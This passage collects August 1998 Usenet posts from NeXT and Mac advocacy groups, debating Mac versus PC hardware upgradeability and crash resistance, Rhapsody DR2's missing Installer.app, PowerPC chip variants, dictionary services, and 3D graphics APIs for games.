> about.
Can I walk in to my local Computer Renaissance or go to my favorite
hardware web sites and order a standard motherboard that WILL go right in
the Performa case? Can I purchase any one of several PPC chips and stick
them in there subsequently? No? Why? Because Apples have tended to be
made the way Packard Bell makes computers...a way that means if you want
any real upgrade, you have to go thru them and pay a premium OR you
simply can't do it and have to buy an all-new system from them. Hell, my
PC is built by me from scratch. I can stick in either an AT mobo or an
ATX mobo. Based on the mobo I CHOOSE (ANY kind) I can then decide if I
want a Pentium, a K6, a 6x86, a PII, a PPro, an M1, even a Dec Alpha.
The mobo could cost me all the way up to $170, it will be a good one that
I can totally modify vis a vis, bus speed up to OVER 100MHz, many
different clock multipliers to I can run my CPU at any speed I freakin'
want, up to the failure point if I am crazy. The CPU may cost me from
sub-$100 on up to $300-ish. Those two bits of hardware, all capable of
going in my case without changing ANYTHING else - same HDDs, same Zip,
same soundcard, same video card, etc, gets me a totally new computer for
no more than, say, $500 tops. I can certainly go up another hundred or
so and get a better/faster/more recent system but that cost, overall, is
marginal.
> Apple has always used the same memory form factor as PC. During the
> days of 30 Pin SIMMS and 8-bit Mac RAM and 9-bit (parity) PC RAM.
> one could use 9-bit RAMS in Macs. They didn't care. So your observation
OK, I am corrected on this detail. I do recall problems that you simply
could not buy and use standard memory the way PC users could...I didn't
pay much more attention simply because it wasn't a factor for me.
> > Where did this thread originate anyway? It was foolish to either
> > start it in an intel hardware group, a wintel advocacy group, or
> > even a mac advocacy group. Its like islamic fundamentalists trying
> > to argue with christian fundamentalists.
>
> No. Its like people armed with knowledge (me) arguing with unarmed
> opponents full of half-baked opinions with no basis in fact (you).
No, it is fundamentalist islamics screaming nonsense at fundamentalist
christians, also screaming nonsense. This doesn't answer a question of
why this whole deal was crossposted to Wintel-based groups...unless
spoiling for a fight between fundamentalist wackos.
patrick
From: rkuo@seas.upenn.edu (Richard Kuo)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 11 Aug 1998 05:23:34 GMT
Organization: MindSpring Enterprises
Message-ID: <35cfcecd.4206218@news.mindspring.com>
References: <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net> <6q84ju$pc6$1@plo.sierra.com> <joe.ragosta-0508980757270001@wil62.dol.net> <35d29182.145288125@news.mindspring.com> <joe.ragosta-1008980826090001@wil81.dol.net> <35cf5221.5777000@news.mindspring.com> <joe.ragosta-1008982114090001@elk41.dol.net>
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On Mon, 10 Aug 1998 21:14:09 -0400, joe.ragosta@dol.net (Joe Ragosta)
wrote:
>In article <35cf5221.5777000@news.mindspring.com>, rkuo@seas.upenn.edu wrote:
>
>> On Mon, 10 Aug 1998 08:26:08 -0400, joe.ragosta@dol.net (Joe Ragosta)
>> wrote:
>>
>> >In article <35d29182.145288125@news.mindspring.com>,
>rkuo@seas.upenn.edu wrote:
>> >
>> >> If anyone needs proof that you are horribly biased, this is
>> >> it.
>> >
>> >Because I demand evidence?
>> >
>> >I already admitted that, in theory, Win95 is a better system for crash
>> >resistance.
>> >
>> >But practice doesn't always follow theory. My demand for evidence that the
>> >theory is followed in practice proves that I'm "horribly biased"?
>> >
>> >You seem to have a strange definition of bias.
>>
>> Fine. Then explain why you would compare viruses, which are a
>> deliberate attempt by a malicious programmer to crash a system, with
>> memory access violations, which are errors on the part of the
>> programmer and would ideally be trapped by the OS.
>
>Because the person I was responding to demanded a piece of code which
>would crash the OS. They never said it had to be accidental.
In the context of the comparison, Joe, the virus analogy was
irrelevant and proved nothing, for the reasons explained above. Being
deliberately obtuse does not win arguments. So I'm asking you why you
made that comparison. Was it because you were being deliberately
obtuse or did you not know what you were talking about?
>>
>> Then explain why, if you understood the difference, you would
>> make such a meaningless comparison. Also explain why, if you didn't
>> understand the difference, you would attempt to mislead others by
>> conjecturing about things you don't understand.
>
>Meaningless? Their claim was that Mac OS was too easy to crash. Seems to
>me that all the Wintel viruses show that this property isn't unique to
>Macs.
But the issue is that the MacOS is vulnerable to a common
programming error. Your virus analogy is akin to saying that both
platforms are vulnerable to attacks from a large baseball bat. Yes,
they both are. It has absolutely nothing to do with the issue at
hand.
>>
>> If you actually require proof that memory access violations
>> are a common problem IN PRACTICE, then just go ahead and post in all
>> the advocacy groups that they are not and then explain why they are
>> not a problem. I'm telling you that they are a problem because it is
>> difficult for a programmer to keep track of pointers to memory for all
>> cases of different sizes and other test cases and sometimes a pointer
>> will be uninitialzed or overrun where it's not supposed to go...and
>> then BOOM!
>
>Sure. In theory. Even in practice, perhaps. But in real life, my WinNT box
>crashed more than my Mac. I'm not interested in theory--I want real life
>evidence.
Sorry, I can't provide you with studies about the frequency of
memory access violation errors in programs. There are not studies
done for every single thing on the planet. All I can tell you in this
case is that I know they happen a lot and any other programmer will
tell you that they happen a lot. I've already given you the
explanation of why that is. If you want evidence from people, just
ask in the programming newsgroups about how often they happen.
>>
>> Better yet, don't respond at all, because you have no
>> defensible position.
>
>IOW, you don't have any evidence to refute my position.
I have provided an explanation of the problem and its cause
and why it occurs a lot. That is a good deal more than any evidence
you have provided to the contrary.
============================================
Visit The Silicon Edge at:
http://siliconedge.ml.org
Comprehensive reviews of computer hardware and software,
plus daily updates with the best and the latest news!
From: don@misckit.com (Don Yacktman)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where's Installer.app in Rhapsody DR2?
Date: 11 Aug 1998 09:09:30 GMT
Organization: MiscKit Development
Message-ID: <6qp1oa$2gf$1@news.xmission.com>
References: <35d1c638.1269194@news.icx.net> <6qojpd$tu$1@news.idiom.com>
NNTP-Posting-Date: 11 Aug 1998 09:09:30 GMT
jcr.remove@this.phrase.idiom.com (John C. Randolph) wrote:
> Michael McCulloch may or may not have said:
> -> I can't find any installation app that recognizes .pkg's in Rhapsody
> -> DR2 for PCs.
> ->
> -> Am I missing something??
>
> Is this for real? Did apple screw the pooch on this one?
Sort of.
There's the command line installer.sh that you can use to install packages,
but there is no Installer.app. The closest you get on the GUI side is
OpenUp.app by Scott Anguish, but that's not quite the same thing.
--
Later,
-Don Yacktman
don@misckit.com
<a href="http://www.misckit.com/don.html">My home page</a>
Date: Tue, 11 Aug 1998 06:59:13 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Message-ID: <joe.ragosta-1108980659140001@elk42.dol.net>
References: <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <joe.ragosta-2107981135290001@wil93.dol.net> <1dcjks2.1j283l9qaxvg8N@du137-242.ppp.algonet.se> <joe.ragosta-0408981651440001@wil36.dol.net> <6q84ju$pc6$1@plo.sierra.com> <joe.ragosta-0508980757270001@wil62.dol.net> <35d29182.145288125@news.mindspring.com> <joe.ragosta-1008980826090001@wil81.dol.net> <35cf5221.5777000@news.mindspring.com> <joe.ragosta-1008982114090001@elk41.dol.net> <35cfcecd.4206218@news.mindspring.com>
In article <35cfcecd.4206218@news.mindspring.com>, rkuo@seas.upenn.edu wrote:
> On Mon, 10 Aug 1998 21:14:09 -0400, joe.ragosta@dol.net (Joe Ragosta)
> wrote:
>
> >In article <35cf5221.5777000@news.mindspring.com>, rkuo@seas.upenn.edu wrote:
> >
> >> On Mon, 10 Aug 1998 08:26:08 -0400, joe.ragosta@dol.net (Joe Ragosta)
> >> wrote:
> >>
> >> >In article <35d29182.145288125@news.mindspring.com>,
> >rkuo@seas.upenn.edu wrote:
> >> >
> >> >> If anyone needs proof that you are horribly biased, this is
> >> >> it.
> >> >
> >> >Because I demand evidence?
> >> >
> >> >I already admitted that, in theory, Win95 is a better system for crash
> >> >resistance.
> >> >
> >> >But practice doesn't always follow theory. My demand for evidence that the
> >> >theory is followed in practice proves that I'm "horribly biased"?
> >> >
> >> >You seem to have a strange definition of bias.
> >>
> >> Fine. Then explain why you would compare viruses, which are a
> >> deliberate attempt by a malicious programmer to crash a system, with
> >> memory access violations, which are errors on the part of the
> >> programmer and would ideally be trapped by the OS.
> >
> >Because the person I was responding to demanded a piece of code which
> >would crash the OS. They never said it had to be accidental.
>
> In the context of the comparison, Joe, the virus analogy was
> irrelevant and proved nothing, for the reasons explained above. Being
> deliberately obtuse does not win arguments. So I'm asking you why you
> made that comparison. Was it because you were being deliberately
> obtuse or did you not know what you were talking about?
I already explained why. It was because someone insisted that the Mac was
so bad because it crashed more frequently. They asked for a snippet of
code that would crash Windows. I pointed out that there are plenty. It was
an on-target response.
>
> >>
> >> Then explain why, if you understood the difference, you would
> >> make such a meaningless comparison. Also explain why, if you didn't
> >> understand the difference, you would attempt to mislead others by
> >> conjecturing about things you don't understand.
> >
> >Meaningless? Their claim was that Mac OS was too easy to crash. Seems to
> >me that all the Wintel viruses show that this property isn't unique to
> >Macs.
>
> But the issue is that the MacOS is vulnerable to a common
> programming error. Your virus analogy is akin to saying that both
> platforms are vulnerable to attacks from a large baseball bat. Yes,
> they both are. It has absolutely nothing to do with the issue at
> hand.
If the virus is more common than the programming error then it certainly
is relevant. And since I was merely challenged to provide code that would
crash Windows, I met the challenge.
The fact is that no one has shown any evidence that Win95, even with its
theoretical memory protection advantages, is any more immune to crashing
than a Mac.
>
> >>
> >> If you actually require proof that memory access violations
> >> are a common problem IN PRACTICE, then just go ahead and post in all
> >> the advocacy groups that they are not and then explain why they are
> >> not a problem. I'm telling you that they are a problem because it is
> >> difficult for a programmer to keep track of pointers to memory for all
> >> cases of different sizes and other test cases and sometimes a pointer
> >> will be uninitialzed or overrun where it's not supposed to go...and
> >> then BOOM!
> >
> >Sure. In theory. Even in practice, perhaps. But in real life, my WinNT box
> >crashed more than my Mac. I'm not interested in theory--I want real life
> >evidence.
>
> Sorry, I can't provide you with studies about the frequency of
> memory access violation errors in programs. There are not studies
> done for every single thing on the planet. All I can tell you in this
> case is that I know they happen a lot and any other programmer will
> tell you that they happen a lot. I've already given you the
> explanation of why that is. If you want evidence from people, just
> ask in the programming newsgroups about how often they happen.
Sure. And my Macs _still_ crash only very, very rarely. So these errors
must be removed during the testing process and I don't see them.
>
> >>
> >> Better yet, don't respond at all, because you have no
> >> defensible position.
> >
> >IOW, you don't have any evidence to refute my position.
>
> I have provided an explanation of the problem and its cause
> and why it occurs a lot. That is a good deal more than any evidence
> you have provided to the contrary.
I'm merely asking the people who claim that the Mac crashes too much to
provide some evidence. The people making that claim should be the ones to
provide the evidence. I'm not going to do their work for them.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 11 Aug 1998 07:56:22 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.powerpc.misc,comp.sys.powerpc.advocacy
Subject: Re: G3's and G4's and SOI (Was Re: OS X: Installed base of only 750,000 G3 systems?
Message-ID: <joe.ragosta-1108980756220001@wil73.dol.net>
References: <35ca9f4c.0@news.depaul.edu> <B1F0B83F-459BF@206.165.43.185> <35CE8F28.26455E3F@bigfoot.com> <prink-ya02408000R1008982321250001@news.abs.net>
In article <prink-ya02408000R1008982321250001@news.abs.net>,
prink@DIESPAM!bcpl.net (Philip Rink Jr.) wrote:
> In article <35CE8F28.26455E3F@bigfoot.com>, lna@bigfoot.com wrote:
>
> > > Has anyone heard of G3 series CPUs using a 604-like (multiple integer
> > > units) core?
> > >
> > Yes. It's is called the 760, otherwise know as Mach 5. While it's not
> > normally called a "G3" is a member of the 3rd generation devices. It
> > does not, though, support the backside caching.
>
> The Mach 5 is the last series of 604er, including the 250-350 MHz chips. It
> has an "inline" cache on the same daughtercard as the chip. I just looked
> at the Motorola website, and couldn't find a reference to a 760. According
> to MacKidDo, the 760 was a rumored multiple-core G3. Since the MacOS
> doesn't really support multiple processors, that idea was put off. There
> may be a multiple-core G4.
I think the confusion was caused by the fact that the Mach 5 chips were
made on the same process as the G3.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
Date: Tue, 11 Aug 1998 08:14:20 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where's Installer.app in Rhapsody DR2?
Message-ID: <joe.ragosta-1108980814200001@wil73.dol.net>
References: <35d1c638.1269194@news.icx.net>
In article <35d1c638.1269194@news.icx.net>, mmccullo@nospam.net (Michael
McCulloch) wrote:
> I can't find any installation app that recognizes .pkg's in Rhapsody
> DR2 for PCs.
>
> Am I missing something??
Look for OpenUp. You should be able to track it down on www.stepwise.com.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.powerpc.misc,comp.sys.powerpc.advocacy
Subject: Re: G3's and G4's and SOI (Was Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 11 Aug 1998 07:25:39 -0500
Organization: none
Message-ID: <tim-1108980725400001@jump-tnt-0252.customer.jump.net>
References: <35ca9f4c.0@news.depaul.edu> <B1F0B83F-459BF@206.165.43.185> <35CE8F28.26455E3F@bigfoot.com> <prink-ya02408000R1008982321250001@news.abs.net> <joe.ragosta-1108980756220001@wil73.dol.net>
NNTP-Posting-Date: 11 Aug 1998 12:24:16 GMT
In article <joe.ragosta-1108980756220001@wil73.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
| I think the confusion was caused by the fact that the Mach 5 chips were
| made on the same process as the G3.
The Mach5 604e is actually manufactured in a *more advanced* process than
that of the original 750 (G3); newer 750's announced are now using that
more advanced process.
--
-- Tim Olson
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: Tue, 11 Aug 1998 13:40:45 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qphku$333$1@nnrp1.dejanews.com>
References: <35CE09FE.426@nstar.net> <1998080921532800.RAA14194@ladder03.news.aol.com>
willadams@aol.com (WillAdams) wrote:
> M$ has Bookshelf which includes, a dictionary (forget which one) and a desktop
> encyclopedia and other references, but, it doesn't have Services to make
> availability of these resources pervasive.
> While it's wonderful that everyone else has fabulous net access and is willing
> to gamble their productivity on its accessibility, I don't and I'm not. I want
> it self-contained so that I need not worry about wires or where the nearest
cel
> tower or whether or not a satellite is above the horizon.
Agreed. A dictionary, at least, belongs on the hard disk with a way to make it
universally accessible to all apps, eg with NeXTSTEP's cmd-= service.
Undoubtedly others will want other reference material similarly handy.
For less often-referenced material, net access might be quite adequate.
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: Eric M Scott <escott@together.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.powerpc.misc,comp.sys.powerpc.advocacy
Subject: Re: G3's and G4's and SOI (Was Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 11 Aug 1998 10:11:15 -0400
Organization: None
Message-ID: <35D05103.2C67@together.net>
References: <35ca9f4c.0@news.depaul.edu> <B1F0B83F-459BF@206.165.43.185> <35CE8F28.26455E3F@bigfoot.com> <prink-ya02408000R1008982321250001@news.abs.net> <01bdc501$f2d5a9d0$74b5dccf@samsara>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Jonathan Hendry wrote:
>
>
> Wasn't there a 740? What was that?
The 740 was the 750 without the L2 cache bus. So it comes in a
package which is pin compatible with the 603e.
Eric
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: What is MacOS-X Really ?
Date: 11 Aug 1998 14:17:31 GMT
Organization: Primenet (602)416-7000
Message-ID: <6qpjpr$lj1$2@nnrp03.primenet.com>
References: <6qn8v6$3vt4@onews.collins.rockwell.com> <3206-35CF6E48-28@newsd-123.bryant.webtv.net>
Joshua Moore <RasAllGhul@webtv.net> wrote:
: Erik=A0M.=A0Buck wrote:
: >It is important because the world is full of
: >experienced UNIX system administrators who
: >know what to do with them. If Apple insists on
: >being gratuitously different, it will certainly not
: >appeal to anyone who is not already MAC
: >trained.
: It won't appeal to Unix users, but why would they buy into the MacOS if
: they just wanted Unix? There are dozens of free alternatives that can
: give them everything they want.
A year ago I was more worried whether Apple would be "smart" and release a
UNIX OS. Having worked with UNIX for a few years, I've become impressed
with its scaliblity and its ability to reinvent itself. UNIX hasn't
reinvented itself not totally, but it has certainly done more than younger
OSes. I suppose it had to ... or it would have died ten years ago.
I don't have legacy customers on *STEP, so I may view this differently
than those who do, but UNIX has become so hot of late, that I'm not
worried about Apple producing another flavor. UNIX will be stromg, and
MacOS will be an alternate OS. Cool.
Witness some of the recent UNIX strangeness:
http://www.sunfreeware.com/
John
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Where's Installer.app in Rhapsody DR2?
Newsgroups: comp.sys.next.advocacy
References: <35d1c638.1269194@news.icx.net> <6qojpd$tu$1@news.idiom.com> <6qp1oa$2gf$1@news.xmission.com>
Message-ID: <35d05d98.0@news.depaul.edu>
Date: 11 Aug 98 15:04:56 GMT
Don Yacktman <don@misckit.com> wrote:
> jcr.remove@this.phrase.idiom.com (John C. Randolph) wrote:
> > Michael McCulloch may or may not have said:
> > -> I can't find any installation app that recognizes .pkg's in Rhapsody
> > -> DR2 for PCs.
> > ->
> > -> Am I missing something??
> >
> > Is this for real? Did apple screw the pooch on this one?
> Sort of.
> There's the command line installer.sh that you can use to install packages,
> but there is no Installer.app. The closest you get on the GUI side is
> OpenUp.app by Scott Anguish, but that's not quite the same thing.
Hm. So why hasn't anyone hacked together a quicky GUI app to
drive installer.sh?
;^)
(Presumably because y'all thought Apple would have one in DR2.)
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: NEXTstep/Openstep for the Mac
Newsgroups: comp.sys.next.advocacy
References: <35CF0C69.B3B0CF5@ericsson.com> <6qn2ub$scf@shelob.afs.com> <35CF1CC6.835FA9DE@ericsson.com> <6qo7kb$jkg$1@lwnws01.ne.highway1.com> <6qok3a$20f@news1.panix.com>
Message-ID: <35d05ffe.0@news.depaul.edu>
Date: 11 Aug 98 15:15:10 GMT
Sal Denaro <sal@panix.com> wrote:
> Just for kicks I played around with writing a bable-fish service.
Check out www.dict.org. They're working on a dictionary network
protocol, and compatible software. They have some references
available for free (1913 Webster's, and a few others). There
is a free daemon server program that handles search requests. There
is a free commandline client which handles the user end.
Note that the daemon can be downloaded. You don't have to access
it over the web.
It shouldn't be difficult to re-implement the client as
a simple GUI application, or else just wrap the client
with a GUI.
The lookups would use TCP/IP, but needn't leave your machine. Or,
if you've got a LAN, you can set one machine up as the server.
Their 1913 edition of Webster is 30 MB uncompressed, with no
images. If you write a GUI client, you could implement
it to automatically use the Digital Webster images if they're
available.
> I'm sure that a DW clone wouldn't be all that hard. Heck, with V-Twin you
> might be able to search local and internet data sources from the same DW
> clone.
FYI, I'm working on an online reference tool, that goes well beyond
DW. Local or web lookups. Probably won't ship until OS/X.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: NEXTstep/Openstep for the Mac
Newsgroups: comp.sys.next.advocacy
References: <35CF0C69.B3B0CF5@ericsson.com> <6qn2ub$scf@shelob.afs.com> <35CF1CC6.835FA9DE@ericsson.com> <6qo7kb$jkg$1@lwnws01.ne.highway1.com> <01bdc4fc$a4417d80$74b5dccf@samsara> <6qofr0$t4i$1@lwnws01.ne.highway1.com>
Message-ID: <35d0606a.0@news.depaul.edu>
Date: 11 Aug 98 15:16:58 GMT
John Kheit <jkheit@mediaone.net> wrote:
> "Jonathan Hendry" <jon@steeldriving.com> wrote:
> > You might find the text of the 1913 edition useful. It's full of
> > now-archaic terms, and has lots of examples. I compared it to
> > Webster.app last night, and Webster.app's entries were fewer in
> > number and less detailed.
> Thanks. Where can I find the 1913 version? I'd love to get local versions
> of all the legal, medical, computer (I have an old version of Jargon), etc.
> terms. I've also, always been bugged that somehow Webster.app couldn't have
> been integrated into the system spell check in some smart way, or vice versa.
> Anyway, thanks again for the tip. :)
It's available through www.dict.org. Follow the 'client/server software'
link on the front page.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: Greg_Anderson@afs.com (Gregory H. Anderson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where's Installer.app in Rhapsody DR2?
Date: 11 Aug 1998 15:31:14 GMT
Organization: Anderson Financial Systems Inc.
Message-ID: <6qpo42$gu@shelob.afs.com>
References: <6qp1oa$2gf$1@news.xmission.com>
Don Yacktman writes
> jcr.remove@this.phrase.idiom.com (John C. Randolph) wrote:
> > Michael McCulloch may or may not have said:
> > -> I can't find any installation app that recognizes .pkg's in
> > -> Rhapsody DR2 for PCs. Am I missing something??
> >
> > Is this for real? Did apple screw the pooch on this one?
>
> There's the command line installer.sh that you can use to install
> packages, but there is no Installer.app. The closest you get on the
> GUI side is OpenUp.app by Scott Anguish,
First of all, no one should be talking about this in an open forum,
because DR2 is provided under non-disclosure. But to avoid perpetuating
misinformation, I have very very very good reason to believe that this
lapse is not permanent, in terms of the pending customer release.
--
Gregory H. Anderson | "We're in the land of the blind,
Visionary Ophthalmologist | selling working eyeballs, and they
Anderson Financial Systems | balk at the choice of color." -- Tony
greg@afs.com (NeXTmail OK) | Lovell, on Mac user reactions to NeXT
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: Tue, 11 Aug 1998 10:41:50 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D0663E.3F89565C@ericsson.com>
References: <35CF0C69.B3B0CF5@ericsson.com> <6qn2ub$scf@shelob.afs.com> <35CF1CC6.835FA9DE@ericsson.com> <6qo7kb$jkg$1@lwnws01.ne.highway1.com> <6qok3a$20f@news1.panix.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sal Denaro wrote:
> IMHO, having DW is much more useful than having man pages. On NT I keep word
> running just to have a spell checker around. I use man pages once or twice a
> month, I use the spell checker 20+ times a day.
That frequency is probably the root of the disagreement. I use a spell
checker once or twice a week, but I use man pages at least 20 times a
day, almost certainly more.
MJP
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Date: 11 Aug 1998 15:58:55 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6qppnv$5co$1@news.spacelab.net>
References: <macghod-0508982340280001@sdn-ar-001casbarp214.dialsprint.net> <stone-0608981139240001@rc-pm3-1-41.enetis.net>
stone@stoneentertainment.com (Kevin Stone) wrote:
>In article <macghod-0508982340280001@sdn-ar-001casbarp214.dialsprint.net>,
>macghod@concentric.net (Steve Sullivan) wrote:
[ ... ]
>I agree with most of your post Steve, but PLEASE stick with the facts.
>VooDoo 2 is becoming available for the Mac. As with most "frivolous"
>consumer hardware, these cards are proven successful in the larger market
>before they will risk capital in the smaller market. If you've noticed,
>most PC games are only NOW being upgraded to support VooDoo 2. The timing
>for a Mac release is just about right.
The majority of Glide-based games worked just fine moving from the original
VooDoo to the VooDoo 2, and they could take reasonable advantage of the newer
features.
Realisticly, in the PC game arena, something that can take advantage of 3D
hardware acceleration will come with at least two out of three of Glide,
DirectX, or OpenGL. Glide or DirectX is probably the first choice (it used
to be Glide or _software_, in many cases), and as a rule of thumb, only
people interested in cross-platform games do OpenGL.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: robinson@next532-2.gsfc.nasa.gov (Scott Robinson)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Hello.
Date: 11 Aug 1998 16:10:24 GMT
Organization: NASA Goddard Space Flight Center -- Greenbelt, Maryland USA
Message-ID: <6qpqdg$l6t@post.gsfc.nasa.gov>
References: <1ddjvg9.1xq34t51orcrwgN@p027.intchg1.net.ubc.ca>
Bruce Bennett writes
> Gregory H. Anderson <Greg_Anderson@afs.com> wrote:
>
> > The Name Nobody Wanted <noone@nowhere.com> writes
> > > I think the Next computer is really dumb. Didn't they go out of
> > > business? I thought they did. Oh well. Gotta go the bathroom now.
> > > Bye-bye.
> >
> > Finally, some intelligent discussion on this newgroup. About time.
>
> And space.
>
About time to slap your face. ;-)
--
Time flies like an arrow. Fruit flies like a banana...
From: Michael Peck <Michael.Peck@ericsson.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Solution to Imac SUCKS for games
Date: Tue, 11 Aug 1998 11:48:17 -0500
Organization: Ericsson North America Inc.
Message-ID: <35D075D1.D9319504@ericsson.com>
References: <macghod-0508982340280001@sdn-ar-001casbarp214.dialsprint.net> <stone-0608981139240001@rc-pm3-1-41.enetis.net> <6qppnv$5co$1@news.spacelab.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Charles W. Swiger wrote:
> Realisticly, in the PC game arena, something that can take advantage of 3D
> hardware acceleration will come with at least two out of three of Glide,
> DirectX, or OpenGL. Glide or DirectX is probably the first choice (it used
> to be Glide or _software_, in many cases), and as a rule of thumb, only
> people interested in cross-platform games do OpenGL.
That's somewhat true, but a growing number of development houses are
using OpenGL for specialized rendering in games, and a growing number of
games is taking advantage of OpenGL entirely. The API is quite easy to
use, and there really is a lot of OpenGL-capable hardware available now.
Really, nobody is interested in "cross-platform games", as far as I know
(with the exception of scattered Linux ports), so I think that OpenGL is
gaining popularity on other merits.
MJP
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where's Installer.app in Rhapsody DR2?
Date: 11 Aug 1998 17:17:26 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6qpub6$8oo@newsb.netnews.att.com>
References: <35d1c638.1269194@news.icx.net> <6qojpd$tu$1@news.idiom.com> <6qp1oa$2gf$1@news.xmission.com> <35d05d98.0@news.depaul.edu>
Originator: gupta@tlctest
Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>> There's the command line installer.sh that you can use to install packages,
>> but there is no Installer.app. The closest you get on the GUI side is
>> OpenUp.app by Scott Anguish, but that's not quite the same thing.
This is not acceptable for a consumer OS. Yes, I understand the shortcoming
will be removed. If Apple ships a command-line interface with its
future OSes, it must have a "certified for MacOS" logo, which makes sure
that ISVs do not rely on command-line tools. Apple accomplishes a similar
effect today by not having command-line tools standard in the OS; ( but
this hurts remote administration capabilities.)
-arun gupta
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: Where's Installer.app in Rhapsody DR2?
Newsgroups: comp.sys.next.advocacy
References: <35d1c638.1269194@news.icx.net> <6qojpd$tu$1@news.idiom.com> <6qp1oa$2gf$1@news.xmission.com> <35d05d98.0@news.depaul.edu> <6qpub6$8oo@newsb.netnews.att.com>
Message-ID: <35d082db.0@news.depaul.edu>
Date: 11 Aug 98 17:43:55 GMT
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> >> There's the command line installer.sh that you can use to install packages,
> >> but there is no Installer.app. The closest you get on the GUI side is
> >> OpenUp.app by Scott Anguish, but that's not quite the same thing.
I didn't write that, Don did.
> This is not acceptable for a consumer OS.
Rhapsody isn't a consumer OS.
> Yes, I understand the shortcoming
> will be removed. If Apple ships a command-line interface with its
> future OSes, it must have a "certified for MacOS" logo, which makes sure
> that ISVs do not rely on command-line tools. Apple accomplishes a similar
> effect today by not having command-line tools standard in the OS; ( but
> this hurts remote administration capabilities.)
Actually, this hurts capabilities, period.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXTstep/Openstep for the Mac
Date: Tue, 11 Aug 1998 18:07:14 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6qq18i$qac$1@nnrp1.dejanews.com>
References: <35CF0C69.B3B0CF5@ericsson.com> <6qn2ub$scf@shelob.afs.com> <35CF1CC6.835FA9DE@ericsson.com> <6qo7kb$jkg$1@lwnws01.ne.highway1.com> <6qok3a$20f@news1.panix.com> <35d05ffe.0@news.depaul.edu>
Just wondering if it would be possible, and legal, to write a Rhapsody app to
access the Webster data files that came with NeXTSTEP, and then simply
transfer those files?
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Where's Installer.app in Rhapsody DR2?
Date: 11 Aug 1998 18:10:45 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6qq1f5$677$1@news.spacelab.net>
